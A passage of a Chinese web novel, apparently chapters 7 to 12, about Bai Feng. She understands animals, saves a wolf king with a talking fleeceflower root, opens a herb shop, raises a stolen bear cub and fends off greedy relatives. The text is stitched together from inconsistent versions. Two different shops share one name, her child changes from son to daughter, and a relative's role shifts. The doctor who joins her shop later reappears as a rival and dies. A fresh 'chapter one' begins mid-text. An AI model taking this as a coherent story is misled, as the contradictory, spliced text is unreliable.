“镇上的布庄东家,张员外。”小厮说着,示意壮汉把箱笼放下,“这里面有衣裳被褥,还有些米面油盐。我家主子说了,白姑娘若有难处,尽管开口。” 白凤看着那两个箱笼,心里明白过来。这些人都是冲着她和尉迟深的关系来的。虽然她拒绝了黑甲侍卫,但镇上的人显然不信她真能跟王爷撇清关系。 “替我谢谢张员外,东西我收下了。”白凤也不客气,反正不要白不要。 小厮走后,大黄狗围着箱笼转圈:“主人,你这是要发财了?” “发什么财,不过是些人情债。”白凤打开箱笼,里面果然装着崭新的衣裳和厚实的被褥。她拿起一件小孩的棉袄,给豆豆比了比,“正好,豆豆的衣裳都破了。” 豆豆开心地抱着新衣裳,小脸笑成一朵花。 白凤看着儿子的笑脸,心里五味杂陈。原主到底跟那个尉迟深是什么关系?为什么会未婚先孕?而那个所谓的王爷,又为什么现在才来找她们? “主人,你说那个王爷会不会再来?”大黄狗问。 “来不来都一样,我不会跟他走。”白凤斩钉截铁地说。 她可不想进什么王府当侧妃或者姨娘,那种地方勾心斗角,她一个现代人哪斗得过那些古代女人。再说了,尉迟深要是真在乎原主,当初怎么会让她流落到舅妈家受苦? 夜里,白凤躺在新铺的被褥上,听着豆豆均匀的呼吸声,脑子里却乱糟糟的。 “主人还没睡?”大黄狗趴在门口,小声问。 “睡不着。”白凤叹了口气。 “是在想那个王爷?” “想个屁。”白凤翻了个身,“我在想怎么赚银子。” “不是有人送东西吗?” “那些都是看在尉迟深的面子上,不是真心帮我。”白凤很清醒,“等他们发现我真的跟王爷没关系,这些好处就没了。” 大黄狗想了想:“那主人打算怎么办?” “靠自己。”白凤眼神坚定,“我要开个铺子,自己做生意。” “做什么生意?” “卖药材。”白凤已经有了计划,“山上那么多好东西,我采来卖给药铺,肯定能赚不少银子。” “可是大耗子说山上有危险…” “我知道。”白凤打断它,“所以我要先去探探路,看看到底有什么危险。” 第二天一早,白凤把豆豆托付给隔壁卖豆腐的王婆子照看,自己带着大黄狗上山了。 这次她没去上次的山洞,而是往更深处走。大黄狗在前面带路,不时停下来嗅嗅地面。 “主人,这边有股怪味。”大黄狗突然停住。 白凤也闻到了,是一股腥臭味,像是什么动物的气味。她警觉地四处张望,手里握紧了从城隍庙顺来的木棍。 “汪汪汪!”大黄狗突然狂吠起来。 白凤顺着它的视线看去,只见前方的灌木丛里,一双绿莹莹的眼睛正盯着她们。 是狼! 白凤心里一紧,下意识地后退了一步。那狼从灌木丛里走出来,体型比大黄狗大了一圈,毛色灰黑,看起来凶悍无比。 “主人,快跑!”大黄狗叫道。 “跑不掉的。”白凤反而冷静下来,她盯着那头狼,慢慢举起手里的木棍。 狼低吼一声,做出攻击的姿态。就在这时,白凤突然听到一个声音:“别怕,我不会伤害你们。” 白凤愣住了,这声音是从狼那里传来的! “你…你会说话?”白凤难以置信。 “你能听懂我说话?”狼也很惊讶,“人类中竟然有能听懂兽语的?” 白凤这才反应过来,自己不仅能听懂大黄狗说话,还能听懂其他动物的话! “你是这山上的狼王?”白凤试探着问。 第7章 救命 “算是吧。”狼王甩甩尾巴,“你来这里做什么?” “采药材。”白凤老实回答。 “采药材?”狼王打量她一眼,“就你这小身板,还敢往山里跑?” “不然怎么办?总不能饿死。”白凤没好气地说。 狼王沉默了一会,突然说:“我可以让你在这山上采药,但你得答应我一个条件。” “什么条件?” “帮我找一样东西。”狼王说,“一株千年何首乌,就在这山的深处。我闻到了它的气味,但那地方有古怪,我进不去。” 白凤心里一动:“你为什么要找何首乌?” “我快死了。”狼王淡淡地说,“只有千年何首乌能救我。” 白凤看着它,突然觉得这头凶悍的狼王,眼神里竟然有几分悲凉。 “我凭什么相信你?”白凤问。 “你不相信也没关系。”狼王转身要走,“反正我也活不了多久了。” “等等!”白凤叫住它,“我可以帮你,但你得保证,以后我在这山上采药,不会有危险。” 狼王回头看她:“成交。” 白凤跟着狼王往山里走,大黄狗紧紧跟在她身边,不时发出呜咽声。 “主人,这狼靠得住吗?”大黄狗小声问。 “不知道。”白凤也没底,“不过它要是想害我们,刚才就动手了。” 狼王走在前面,突然回头:“你那狗说什么?” 白凤一愣:“你听不懂它说话?” “听不懂。”狼王说,“我只能跟同类交流,你却能听懂所有动物的话,真是奇怪。” 白凤心里暗暗记下这个信息。看来她这个能力,比想象中还要特殊。 走了大约一个时辰,狼王在一处山崖前停下。 “就是这里。”狼王说,“何首乌的气味就是从这下面传来的。” 白凤探头往下看,山崖下是一片浓密的树林,看不清底下的情况。 “你说的古怪是什么意思?”白凤问。 “我每次靠近这里,就会头晕目眩,根本下不去。”狼王说,“但你是人类,应该不会有这种反应。” 白凤犹豫了。这地方一看就不简单,万一下去出了事,豆豆怎么办? “主人,要不我们回去吧?”大黄狗劝道。 白凤看看狼王,又看看山崖下,最后咬咬牙:“我下去看看,但你得在上面等着,万一我出事,你去城隍庙找我儿子。” “你放心,我说话算话。”狼王说。 白凤找了根粗壮的藤蔓,绑在腰上,另一头系在崖边的大树上。她深吸一口气,开始往下爬。 山崖并不算太高,大约三四丈的样子。白凤小心翼翼地往下爬,手脚并用,很快就到了底部。 落地后,白凤四处张望。这里的树木长得格外茂盛,阳光几乎透不进来,显得阴森森的。 “主人,你还好吗?”大黄狗在上面叫。 “我没事!”白凤回应一声,开始寻找何首乌。 她在树林里转了一圈,突然发现前方有一块空地。空地中央,长着一株奇特的植物,叶子碧绿,根茎粗壮,正是何首乌! 白凤走过去,正要动手挖,突然听到一个苍老的声音:“年轻人,劝你别动这株何首乌。” 白凤吓了一跳,猛地回头,却什么也没看到。 “谁?谁在说话?”白凤警惕地问。 “是我。”那声音再次响起,这次白凤听出来了,声音是从何首乌那里传来的。 “你…你是何首乌?”白凤瞪大眼睛。 “没错。”何首乌说,“我在这里生长了一千三百年,早就有了灵智。” 白凤简直不敢相信自己的耳朵。她能听懂动物说话已经够离谱了,现在连植物都能说话? “你为什么不让我挖你?”白凤问。 “因为我还不想死。”何首乌说,“虽然我知道,被人挖走是我的宿命,但我想再多活几年。” 白凤沉默了。她想起狼王说的话,它快死了,只有何首乌能救它。 “山上有头狼,它快死了,需要你来救命。”白凤说。 “我知道。”何首乌叹了口气,“那头狼在这山上称王称霸几十年,现在终于要走到尽头了。” “你不愿意救它?” “不是不愿意,而是…”何首乌停顿了一下,“如果我被挖走,这片树林就会失去保护,山下的人就会上来砍树。到时候,这山上的动物都会失去家园。” 白凤皱眉:“你在保护这片树林?” “是的。”何首乌说,“我的根系遍布整片树林,只要我在,这些树就不会枯死。而且,我散发的气息能让人类头晕,所以他们不敢靠近这里。” 白凤明白了。怪不得狼王说它每次靠近就会头晕,原来是何首乌在保护自己。 “那怎么办?”白凤问,“狼王快死了,你也不想被挖走,这不是死局吗?” “不是死局。”何首乌说,“我可以给你一截根须,虽然药效不如整株,但也足够救那头狼了。” 白凤眼睛一亮:“真的?” “当然。”何首乌说,“不过你得答应我,以后不要告诉任何人这里的位置。” “我答应你。”白凤毫不犹豫地说。 何首乌的一条根须从土里钻出来,在白凤面前晃了晃,然后自己断成一截,落在地上。 “拿去吧。”何首乌说,“记住你的承诺。” 白凤捡起那截根须,郑重地点头:“我说话算话。” 她正要离开,何首乌又叫住她:“等等,我还有件事要告诉你。” “什么事?” “你能听懂万物之语,这是天赋异禀。”何首乌说,“但这种能力也会招来麻烦,你要小心。” “什么麻烦?”白凤心里一紧。 “有些人会想利用你的能力,有些人会想杀了你。”何首乌说,“总之,不要轻易暴露自己。” 白凤记住了这个警告,道谢后爬回山崖上。 狼王看到她手里的根须,眼睛都亮了:“你真的拿到了?” “拿到了。”白凤把根须递给它,“不过不是整株,只是一截根须,不知道够不够。” 狼王叼起根须,三两口就吞了下去。它闭上眼睛,身体微微颤抖,过了一会才睁开眼。 “怎么样?”白凤紧张地问。 “好多了。”狼王的声音明显有了力气,“虽然不能完全恢复,但至少能多活几年。” 白凤松了口气:“那就好。” “你救了我的命,从今以后,你就是这座山的朋友。”狼王说,“以后你来采药,我会让手下的狼保护你。” “多谢。”白凤真心实意地说。 第8章 正式开张了 回到城隍庙时,已经是傍晚了。豆豆看到她回来,高兴地扑过来:“娘,你去哪了?豆豆好想你。” “娘去山上了。”白凤抱起儿子,在他脸上亲了一口。 王婆子笑眯眯地说:“白姑娘,今天又有人来送东西了。” 白凤一看,城隍庙里又多了好几个箱笼,还有一袋米和一坛油。 “谁送的?”白凤问。 “镇上的酒楼掌柜,还有布庄的少东家。”王婆子说,“他们都说,白姑娘有什么需要,尽管开口。” 白凤心里明白,这些人都是冲着尉迟深来的。虽然她拒绝了黑甲侍卫,但镇上的人显然觉得她在欲擒故纵。 “主人,你现在可是香饽饽了。”大黄狗说。 白凤没理它,打开箱笼看了看。里面有衣裳布料,还有些首饰和银钱。她粗略估计了一下,这些东西加起来,至少值二三十两银子。 “发财了。”白凤嘀咕一声。 晚上,白凤哄豆豆睡着后,坐在院子里数银子。加上今天收到的,她现在一共有五十多两银子了。 “主人,你打算拿这些银子做什么?”大黄狗问。 “租个铺面,开药铺。”白凤说,“我会采药,又有狼王罩着,在山上采药不成问题。只要把药材卖出去,就能赚银子。” “可是你不会看病啊。”大黄狗提醒。 “我可以请郎中。”白凤早就想好了,“我负责提供药材,郎中负责看病,赚的银子五五分。” “主人真聪明!”大黄狗摇着尾巴。 白凤摸摸它的脑袋,心里却在想另一件事。何首乌说她的能力会招来麻烦,她得小心行事,不能让人发现她能听懂动物说话。 第二天,白凤带着豆豆去镇上转了一圈,看中了一间临街的铺面。铺面不大,但位置好,租金一个月二两银子。 “就这间了。”白凤当场付了三个月的租金,又花了十两银子买了些桌椅药柜。 接下来几天,白凤忙着收拾铺面。她把采来的药材分门别类摆好,又请人写了块招牌,挂在门口。 “济世堂。”大黄狗念着招牌上的字,“主人,这名字不错。” “还行吧。”白凤擦着额头的汗,“现在就差个郎中了。” 话音刚落,门外走进来一个人。白凤抬头一看,竟然是上次给她看药材的赤脚郎中。 “白姑娘,听说你开药铺了?”赤脚郎中笑着说。 “是啊。”白凤打量他一眼,“你来做什么?” “我想来你这里坐堂。”赤脚郎中直截了当地说。 白凤挑眉:“你不是在医馆干得好好的吗?” “别提了。”赤脚郎中叹气,“上次我帮师爷的忙,结果惹了一身麻烦。师爷现在躲着我,医馆掌柜也不待见我,我干脆辞了。” 白凤想了想:“你医术怎么样?” “不敢说多好,但看个头疼脑热没问题。”赤脚郎中说,“而且我认识不少药材,能帮你把把关。” “行,那就试试。”白凤说,“赚的银子五五分,你看怎么样?” “成交!”赤脚郎中高兴地说。 就这样,济世堂正式开张了。 济世堂开张的第一天,来了不少看热闹的人,但真正来看病的却没几个。 “主人,这样下去不行啊。”大黄狗趴在门口,无聊地打哈欠。 白凤也有些着急,但她知道,新开的铺子总要有个过程。她正想着怎么招揽生意,就听到外面传来一阵喧哗声。 “让开让开!快让开!” 白凤走出去一看,只见几个壮汉抬着一个人急匆匆地跑过来。那人脸色发青,嘴唇发紫,看起来中毒了。 “郎中!快救人!”为首的壮汉喊道。 赤脚郎中连忙上前查看,把了把脉,脸色变得凝重:“这是中了蛇毒,而且是剧毒。” “那怎么办?”壮汉急得团团转,“我家少爷要是有个三长两短,老爷会杀了我的!” 赤脚郎中摇头:“这毒太厉害,我没把握。” 白凤走过去,看了看那人的伤口。伤口在小腿上,已经肿得老高,周围的皮肤都发黑了。 “让我试试。”白凤说。 “你?”赤脚郎中愣住,“你会解毒?” “试试看。”白凤没多解释,转身进了铺子,拿出几味药材,又从怀里掏出一个小瓷瓶。 瓷瓶里装的是她从山洞里采的一种草药,何首乌说过,这种草药能解百毒。白凤当时顺手采了一些,没想到这么快就用上了。 她把草药捣碎,敷在伤口上,又煎了一碗药汤灌下去。不到一刻钟,那人的脸色就好转了,嘴唇也恢复了血色。 “醒了!少爷醒了!”壮汉激动得差点跳起来。 那人睁开眼,虚弱地说:“我这是在哪?” “在济世堂。”壮汉说,“是这位白姑娘救了你。” 那人看向白凤,眼里闪过一丝惊讶:“多谢姑娘救命之恩。” “不客气。”白凤淡淡地说,“诊金五两银子。” 壮汉二话不说,掏出一锭银子放在桌上:“这是十两,多的就当谢礼了。” 等他们走后,赤脚郎中看着白凤,眼神复杂:“白姑娘,你这解毒的本事,是跟谁学的?” “自学的。”白凤随口说。 赤脚郎中显然不信,但也没多问。他只是感叹:“白姑娘真是深藏不露。” 这件事很快在镇上传开了。大家都说济世堂有个神医,能解天下奇毒。一时间,来看病的人络绎不绝。 白凤忙得脚不沾地,但心里却很高兴。有了这些病人,济世堂的名声就打出去了。 就在这时,舅妈又找上门来了。 “白凤!你个没良心的!”舅妈站在门口,叉着腰骂道,“你发财了也不知道孝敬我,还有没有良心?” 白凤正在给病人看病,头也不抬:“我跟你没关系,谈什么孝敬?” “你住在我家那么多年,吃我的用我的,现在翅膀硬了就不认人了?”舅妈越说越气,“你信不信我去衙门告你?” “去啊。”白凤抬起头,冷冷地看着她,“你去告我什么?告我不孝?那我也告你虐待,告你想卖我儿子。” 舅妈被噎住了,脸色一阵青一阵白。 第9章 赚多少跟你们没关系 这时,沈冬梅也来了。她穿着新做的衣裳,打扮得花枝招展,一进门就阴阳怪气地说:“哟,表妹这是发达了?开了药铺,也不请我们去喝杯茶?” “你们来做什么?”白凤不耐烦地说。 “来看看你啊。”沈冬梅笑眯眯地说,“听说你这药铺生意不错,一天能赚不少银子吧?” 白凤明白了,这两人是来打秋风的。 “赚多少跟你们没关系。”白凤说,“你们要是没病,就别在这碍事。” “你!”沈冬梅气得脸都红了,“白凤,你别太过分!要不是我娘收留你,你早就饿死了!” “收留我?”白凤冷笑,“你们是收留我,还是把我当牛马使唤?我每天干那么多活,吃的是猪食,住的是柴房,这就是你们的收留?” “你…”沈冬梅被说得哑口无言。 舅妈见势不妙,连忙打圆场:“冬梅,咱们走。” “等等。”白凤叫住她们,“以后别来我这里闹事,不然我就去衙门告你们。” 舅妈和沈冬梅灰溜溜地走了。 赤脚郎中看着她们的背影,感叹道:“白姑娘,你这亲戚可真够奇葩的。” “谁说不是呢。”白凤叹了口气。 晚上,白凤关了铺子,带着豆豆回城隍庙。她刚走到门口,就看到一个黑影站在那里。 “谁?”白凤警觉地问。 黑影走出来,月光下,白凤看清了那人的脸。是个三十来岁的男人,长得英俊,但眼神冷漠,浑身散发着一股生人勿近的气息。 “你就是白凤?”男人开口,声音低沉。 “你是谁?”白凤把豆豆护在身后。 “尉迟深。”男人说。 白凤背着竹篓再次进山时,天刚蒙蒙亮。 这回她没往常去的地方走,而是拐向更深的山林。昨晚她翻了翻那本从郎中那儿换来的草药册子,发现几味稀罕药材都长在阴湿的山涧边。 大黄狗跟在她身后,不时低头嗅嗅地面。 山里雾气重,白凤的布鞋很快就湿透了。她也不在意,撩起裤腿继续往前走。拐过一片竹林,眼前豁然开朗——山涧旁的石缝里,一丛丛紫色的草叶正迎着晨光摇曳。 “找到了。”白凤蹲下身,小心翼似地挖出几株,连根带土装进篓子里。 大黄狗突然竖起耳朵,喉咙里发出低沉的呜呜声。 白凤停下手里的活,顺着它的视线望去。林子深处有窸窸窣窣的响动,像是什么大家伙在走动。她屏住呼吸,握紧手里的小锄头。 响动渐渐远去。 “走吧。”白凤拍拍大黄的脑袋,背起装得满满当当的竹篓下山。 回到镇上时已是晌午。白凤没停留,直接赶往郡城。 上回她在镇上卖药,那个赤脚郎中压价压得狠,三株人参只给了五两银子。白凤琢磨着,这些稀罕货拿到郡城的药铺,说不定能卖个好价钱。 郡城离镇子有二十多里路。白凤走得脚底发烫,进城时天色已晚。 城门口的守卫瞥了她一眼,见是个乡下丫头,也没多问就放行了。白凤进城后径直找到最大的那家药铺——济世堂。 “掌柜的在吗?”白凤站在柜台前。 伙计打量她一番,语气不太客气:“找掌柜作甚?” “卖药材。”白凤把竹篓放在柜台上。 伙计探头看了看,眼睛一亮:“你等着。” 不一会儿,一个穿着绸缎长衫的中年男人从后堂走出来。他拿起篓子里的药材仔细端详,脸上的表情越来越惊讶。 “这紫参至少有十年份,还有这血灵芝…”掌柜抬头看向白凤,“小姑娘,这些东西你哪儿来的?” “山里采的。”白凤答得简单。 掌柜沉吟片刻:“我全要了,给你五十两。” “成交。” 白凤接过银票,心里盘算着这笔钱够买间像样的房子了。她正要离开,掌柜突然叫住她:“姑娘,你要是还能采到这样的好货,尽管送来。我济世堂收货从不亏待人。” “好说。”白凤点点头,转身出了药铺。 天已经黑透了。郡城的街道上挂着灯笼,比镇上热闹许多。白凤牵着大黄狗往城门方向走,打算找个客栈住一晚。 走到一条窄巷时,身后传来急促的脚步声。 白凤还没反应过来,一只手就搭上了她的肩膀。 “小娘子,这么晚了还在外头晃悠?”说话的是个满脸横肉的大汉,身后还跟着两个同伙,“听说你刚卖了药材,发了笔财吧?” 白凤往后退了一步:“你们想干什么?” “别怕别怕,借点银子花花。”大汉嘿嘿笑着,伸手就要去抢白凤怀里的银票。 大黄狗猛地扑上去,一口咬住大汉的手腕。 “畜生!”大汉吃痛,抬腿就要踢。另外两个地痞也围了上来,其中一个掏出明晃晃的匕首。 白凤护着大黄往墙角躲。就在这时,一道黑影从屋顶落下,动作快得只能看见残影。 三个地痞还没看清来人,就被踢飞出去,摔在地上哀嚎不止。 黑影站在白凤面前,正是那个叫黑甲的侍卫。 “你…”白凤刚要开口,黑甲已经转身消失在夜色中。 那三个地痞爬起来,捂着伤口一瘸一拐地跑了。 白凤站在原地愣了会儿,低头摸摸大黄的脑袋:“走,找地方住下。” 第二天一早,白凤就开始在郡城里找房子。 转了几条街,终于在城西的巷子里看中一处小院。院子不大,但有三间屋子,还带个小菜园。房东是个老婆婆,开价三十两。 白凤爽快地付了钱,拿到房契。 搬进新家后,她站在院子里环顾四周。豆豆在屋里睡得正香,大黄狗趴在门口晒太阳。这样的日子,已经比在镇上那个破屋子里强太多了。 但白凤心里清楚,光靠大黄一条狗,护不住这个家。 她想起上次在山里听到的动静。那片林子深处有个地方叫磨房沟,据说里头有黑熊出没。要是能弄只熊崽回来养着,以后谁还敢欺负她? 打定主意后,白凮收拾了些干粮,第三天就又进山了。 这次她带了把柴刀,还特意绕到磨房沟附近。山路越走越险,两边的树木遮天蔽日,脚下全是碎石和枯叶。 第10章 别真出了人命 大黄狗走在前头探路,不时回头看看白凤。 走了大半天,白凤在一棵大树下停住。前方的山坡上有个黑黢黢的洞口,洞口周围散落着啃过的骨头和兽毛。 “应该就是这儿了。”白凤压低声音。 她正琢磨着怎么引熊出来,身后突然传来一声惨叫。 白凤猛地转身,看见那个赤脚郎中不知什么时候跟了过来,此刻正被一头巨大的黑熊按在地上。郎中拼命挣扎,嘴里发出撕心裂肺的叫喊。 黑熊张开血盆大口,一口咬在郎中的脖子上。 鲜血喷溅,郎中的叫声戛然而止。 白凤僵在原地,手心全是冷汗。大黄狗低吼着想要冲上去,被她死死拽住。 黑熊叼着郎中的尸体往洞里拖。就在这时,洞口传来几声稚嫩的叫声——两只毛茸茸的熊崽探出脑袋,摇摇晃晃地走出来。 母熊忙着处理猎物,没注意到崽子跑出来。 白凤眼睛一亮,趁着这个机会,猫着腰摸到洞口附近。其中一只熊崽正低头啃树皮,她伸手一把抱起来,转身就跑。 熊崽在她怀里挣扎,发出呜呜的叫声。 身后传来母熊暴怒的吼叫。白凤头也不回,抱着熊崽往山下狂奔。大黄狗跟在她身边,不时回头吠叫,阻挡追来的母熊。 跑出老远,母熊的吼声才渐渐远去。 白凤靠着树干喘气,低头看怀里的熊崽。小家伙黑溜溜的眼睛盯着她,倒也不怎么怕人了。 “以后你就跟着我。”白凤伸手摸摸它的脑袋,“好好干活,管你吃饱。” 熊崽歪着头,伸出粉嫩的舌头舔了舔她的手指。 回到郡城的新家,白凤把熊崽放在院子里。 豆豆趴在窗台上,瞪大眼睛看着院子里的黑毛团子。熊崽在地上打滚,时不时发出哼哼唧唧的声音。 “娘,那是什么?”豆豆问。 “熊。”白凤端了盆水放在熊崽面前,“以后它也是咱家的。” 大黄狗凑过去闻了闻,熊崽立刻龇牙咧嘴。一狗一熊对峙了会儿,大黄突然伸出爪子拍了拍熊崽的脑袋,像是在宣示地位。 熊崽愣了愣,老实地低下头喝水。 白凤看着这一幕,嘴角勾起笑意。有了这两个家伙,以后谁还敢来找麻烦? 接下来几天,白凤专心在家养熊崽。小家伙胃口大得惊人,一顿能吃掉半盆米饭,还要加两条鱼。白凤每天都要去市集买食材,荷包瘪得飞快。 第五天傍晚,院门被人敲得砰砰响。 白凤开门一看,门口站着镇上的王婆子,身后还跟着几个妇人。 “哟,白凤啊,听说你搬到郡城来了。”王婆子探头往院子里瞧,“日子过得不错嘛。” 白凤挡在门口:“有事?” “也没啥大事。”王婆子笑眯眯地说,“就是我家那小孙子一直念叨你家豆豆,想来看看。” 话音刚落,一个七八岁的男孩从王婆子身后窜出来,直接往院子里冲。 “豆豆!豆豆!”男孩喊着。 白凤还没来得及拦,男孩已经跑到院子中间。熊崽正趴在地上啃骨头,听到动静抬起头,看见陌生人靠近,立刻站起身。 “小黑,别…”白凤话还没说完,熊崽已经扑了上去。 男孩吓得尖叫,转身就跑。熊崽追在后头,一爪子拍在他屁股上。男孩摔了个狗啃泥,手臂上被抓出几道血痕。 “我的乖孙!”王婆子冲进来,抱起男孩就嚎,“白凤你个丧门星,养这种畜生害人!” 白凤冷着脸:“是你孙子自己乱跑,怪得了谁?” “你还有理了?”王婆子指着她鼻子骂,“养熊养狗的,迟早害死人!我这就去报官,让衙门把你这些畜生全宰了!” 说完抱着孙子就走。 白凤站在院子里,看着熊崽无辜的眼神,叹了口气。 第二天,王婆子果然找上门来,这次还带着白凤的舅妈。 “你个死丫头,在外头养这些东西,是想害死全镇的人吗?”舅妈劈头盖脸就是一顿骂,“王婆子的孙子伤成那样,你赔得起吗?” 白凤靠在门框上:“他自己闯进来的,又不是我放熊咬他。” “你还狡辩!”舅妈气得脸都红了,“我告诉你,今天你要是不把这些畜生处理掉,就别想在镇上待了!” “我现在住郡城。”白凤淡淡地说。 舅妈一噎,转头对王婆子说:“你看看,翅膀硬了,连长辈都不放在眼里了。” 王婆子阴阳怪气:“住郡城又怎样?养这种危险的东西,到哪儿都是祸害。我看啊,还是赶紧送官,省得以后出人命。” 两人正闹着,院外传来脚步声。 白凤的舅舅风尘仆仆地走进来,看见这阵势皱起眉:“吵什么?” “当家的,你可算回来了。”舅妈立刻告状,“白凤在外头养熊,把王家孙子都咬伤了,这事儿你得管管。” 舅舅看向白凤:“真养熊了?” “嗯。”白凤点头。 舅舅沉默片刻,对王婆子说:“孩子的伤,我出钱医治。至于这熊,是白凤自己的事,她既然搬出去了,就由她去吧。” “你…”舅妈瞪大眼睛。 “行了。”舅舅摆摆手,“都回去吧,别在这儿闹了。” 王婆子还想说什么,被舅舅一个眼神瞪了回去。几个人悻悻地离开。 院子里安静下来。 舅舅看着白凤:“以后小心点,别真出了人命。” 白凤没说话,只是点了点头。 舅舅叹口气,转身也走了。 王婆子那件事过去后,白凤更加谨慎。她在院子周围加了道栅栏,还在门上挂了块牌子,写着“内有猛兽,擅入者后果自负”。 熊崽长得飞快,半个月就大了一圈。白凤给它取名叫小黑,每天喂食的时候都会跟它说话。 “小黑,以后有人欺负我们,你就咬他。”白凤蹲在熊崽面前,“但不能随便伤人,知道吗?” 小黑歪着头,伸出爪子拍拍她的手,像是听懂了。 大黄狗趴在一旁,眯着眼睛晒太阳,对这个新来的小弟已经习以为常。 这天,白凤又进山采药。自从上次在济世堂卖了个好价钱,她就琢磨着专门找些稀罕货。 山里的天说变就变。白凤刚采了半篓药材,天空就飘起雨来。她找了个山洞避雨,顺便整理篓子里的东西。 第11章 被熊咬死的 雨越下越大,洞外雾气弥漫。 白凤坐在洞口,突然听见外头有人说话。 “听说镇上那个赤脚郎中死在山里了,被熊咬死的。” “活该,那老头黑心得很,上回我娘病了,他开的药贵得要命。” “现在镇上没人收药材了,咱们采的这些东西只能烂在手里。” 白凤心里一动。 等雨停了,她下山直接去了镇上的茶馆。茶馆里聚着不少采药的人,都在抱怨没地方卖货。 “诸位。”白凤走到人群中,“我在郡城认识药铺的掌柜,要是你们信得过,可以把药材给我,我帮你们卖。” 众人面面相觑。 “你一个小丫头,凭什么信你?”有人质疑。 白凤从怀里掏出几张银票,拍在桌上:“我上回在济世堂卖了五十两,掌柜说了,以后有好货尽管送去。” 茶馆里安静了一瞬,随即爆发出热烈的讨论。 “五十两?真的假的?” “济世堂可是郡城最大的药铺,能在那儿卖货,肯定不会亏。” “那咱们试试?” 很快,就有人把药材交给白凤。她一一记下数量和品相,约定好价格后,背着满满几大篓药材去了郡城。 济世堂的掌柜看见她,笑得合不拢嘴:“姑娘,又有好货了?” “这次量大。”白凤把药材摆在柜台上,“您看看,能出什么价?” 掌柜仔细检查,最后给了个价:“一共八十两,如何?” “成。” 拿到银子后,白凤扣除自己的辛苦费,把剩下的钱分给那些采药人。消息传开,越来越多人找她帮忙卖药。 白凤索性在郡城租了间铺面,专门收购稀罕药材。她立下规矩:只收品相好的,价格公道,绝不压价。 生意做开后,白凤的名声也打出去了。有钱的大户人家听说她能弄到珍稀药材,纷纷上门求购。 “白姑娘,听说你能找到百年野山参?”一个穿着锦袍的管家登门拜访,“我家老爷病重,急需这味药,价钱好商量。” 白凤想了想:“我试试,但不保证一定能找到。” “只要姑娘肯帮忙,我家老爷必有重谢。” 白凤接下这单生意,第二天就进山了。这次她带着小黑和大黄,往更深的林子里走。 走了三天,终于在一处悬崖边找到一株百年老参。白凤小心翼翼地挖出来,用布包好放进篓子里。 回到郡城,那个管家见到野山参,当场就给了二百两银子。 白凤拿着银票,心里盘算着给豆豆买些好衣裳,再给小黑和大黄改善伙食。 日子就这样一天天过去。白凤的铺子越做越大,豆豆也养得白白胖胖。小黑长成了半大的熊,威风凛凛地趴在铺子门口,谁见了都要绕着走。 镇上的沈冬梅听说白凤发了财,心里又嫉妒又不甘。她原本以为白凤带着孩子,肯定过不下去,没想到人家现在比自己过得还滋润。 这天,沈冬梅的丈夫——白凤的舅舅把她叫到跟前。 “你去白凤那儿赔个不是。”舅舅说,“上次王婆子的事,是咱们理亏。” “凭什么?”沈冬梅不服气,“她现在有钱了,还用得着咱们赔礼?” “让你去就去。”舅舅板着脸,“别忘了,她再怎么说也是你侄女。” 沈冬梅憋着一肚子气,带着儿子去了郡城。 到了白凤的铺子,她皮笑肉不笑地说:“白凤啊,上次的事是婶子不对,今天特意来赔罪。” 白凤正在整理药材,头也不抬:“不用了,都过去了。” 沈冬梅眼珠一转,从篮子里拿出几块点心:“这是我亲手做的,给豆豆尝尝。” 豆豆看见点心,眼睛亮了。白凤却拦住她:“不吃。” “哎呀,小孩子嘛,吃块点心怎么了?”沈冬梅把点心塞到豆豆手里。 就在这时,小黑从后院走出来,鼻子抽动几下,突然扑向沈冬梅手里的篮子。 “畜生!”沈冬梅吓得后退,篮子掉在地上,几块点心滚出来。 小黑叼起一块点心,走到院子角落,放在地上。不一会儿,一只老鼠爬过来,吃了点心,没走几步就倒地抽搐。 院子里一片死寂。 白凤脸色铁青,盯着沈冬梅:“你在点心里下了毒?” “我…我没有…”沈冬梅慌了,“我只是想…想毒死你那些畜生…” “滚。”白凤冷冷地说,“以后别让我再看见你。” 沈冬梅哆嗦着想解释,小黑低吼一声,她吓得拔腿就跑。 白凤蹲下来,摸摸小黑的脑袋:“干得好。” 豆豆靠在她怀里,小声说:“娘,我不吃点心了。” “乖。”白凤抱紧女儿,“以后娘给你做。” 夕阳西下,院子里一片宁静。大黄狗趴在门口,小黑趴在它旁边,两个家伙一起守着这个家。 白凤站在院子中央,看着眼前的一切,嘴角露出笑容。日子虽然不易,但只要一家人在一起,就什么都不怕。#第一章 白凤从药铺出来时,天色已晚。怀里揣着刚买的川贝母和雪莲,她加快了脚步往军营方向走。 三天前,百夫长赵虎拦住她,说妻子病重,军医束手无策。白凤看过后,断定是肺痨引发的高热,需要雪莲配川贝母清肺降火。这两味药在县城极难寻,她跑遍了大小药铺,今日才凑齐。 “白姑娘!”赵虎远远迎上来,脸上写满焦急,“我娘子今早又咳出血了。” 白凤快步进屋,病榻上的女子面色潮红,呼吸急促。她搭脉后松了口气:“还好,药来得及时。” 煎药的工夫,赵虎在一旁搓着手:“白姑娘,这恩情我老赵记下了。日后有用得着的地方,您尽管开口。” “救人是本分,谈不上恩情。”白凤盯着药罐里翻滚的药汁,“不过赵百夫长若真想帮忙,倒有件事——” 话音未落,院外传来急促的脚步声。小麻雀从窗棂飞进来,落在白凤肩头,叽叽喳喳叫个不停。 白凤脸色一变,起身就往外走。 “白姑娘!”赵虎拦住她,“出什么事了?” “家里出事,我得赶紧回去。” “我陪您!” 第12章 说不定也是同谋! “不必,您照顾好夫人。”白凤推开他,跑出院子。 赵虎望着她的背影,转头看向床上的妻子:“这位白姑娘,可真是个奇人。” 妻子虚弱地笑:“你不是说,她能听懂动物说话?” “起初我也不信,可这几天瞧着,那些鸟雀野兽围着她转,还真像听得懂人话似的。” 白凤一路狂奔回家,老远就看见门口围了一群人。她挤进去,只见院里站着十几个衙役,为首的正是县衙捕头王三。 “王捕头,这是做什么?”白凤强压怒火。 王三展开一张公文:“白凤,有人举报你私藏禁药,勾结山匪。县太爷有令,将你拿下!” “一派胡言!”白凤冷笑,“我行医救人,何来私藏禁药?又何来勾结山匪?” “是不是胡言,到了县衙自然分明。”王三一挥手,“来人,搜!” 衙役们冲进屋里,翻箱倒柜。白凤想拦,被两个衙役架住胳膊。 院子里传来动物们的嘶鸣。那只老黄狗冲过来咬住一个衙役的裤腿,几只猫跳上房梁,冲着下面的人呲牙。屋檐下的燕子俯冲下来,啄得衙役们抱头鼠窜。 “好大的胆子!”王三抽出腰刀,“连这些畜生也敢拒捕!” 他一刀劈向老黄狗,白凤大喊:“住手!” 